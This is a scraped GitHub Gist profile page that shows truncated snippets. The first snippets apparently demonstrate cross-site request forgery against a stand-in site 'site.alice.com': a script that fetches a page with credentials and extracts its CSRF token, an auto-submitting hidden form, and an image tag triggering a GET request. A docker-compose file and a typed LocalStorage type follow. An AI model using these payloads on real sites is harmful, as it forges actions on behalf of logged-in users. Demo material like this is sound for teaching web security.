Skip to content

Instantly share code, notes, and snippets.

View SteveLTN's full-sized avatar

W Shao SteveLTN

  • Stockholm, Sweden
View GitHub Profile
<script>
const url = 'http://site.alice.com/posts'
fetch(url, { method: "GET", credentials: 'include' }).
then((response) => response.text()).
then((body) => {
const re = new RegExp('<meta name="csrf-token" content="(.*)" />')
const csrfToken = re.exec(body)[1]
return csrfToken
<form class="new_post" id="new_post" action="http://site.alice.com/posts" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="">
<input id="submit-button" type="submit" name="commit" value="Create Post">
</form>
<script>
document.getElementById("submit-button").click()
</script>
<img src="http://site.alice.com/posts/create" alt="">
@SteveLTN
SteveLTN / docker-compose.yml
Created September 8, 2017 08:17
compose file with networks
version: '3'
services:
nginx:
networks:
- foo
networks:
foo:
# driver: xxx
@SteveLTN
SteveLTN / typedLocalStorage.ts
Last active June 15, 2020 14:11
A typed LocalStorage interface - with two versions
// With a normal object type
type LocalStorage = {
user: {
email: string
age: number
}
company: {
name: string
}
}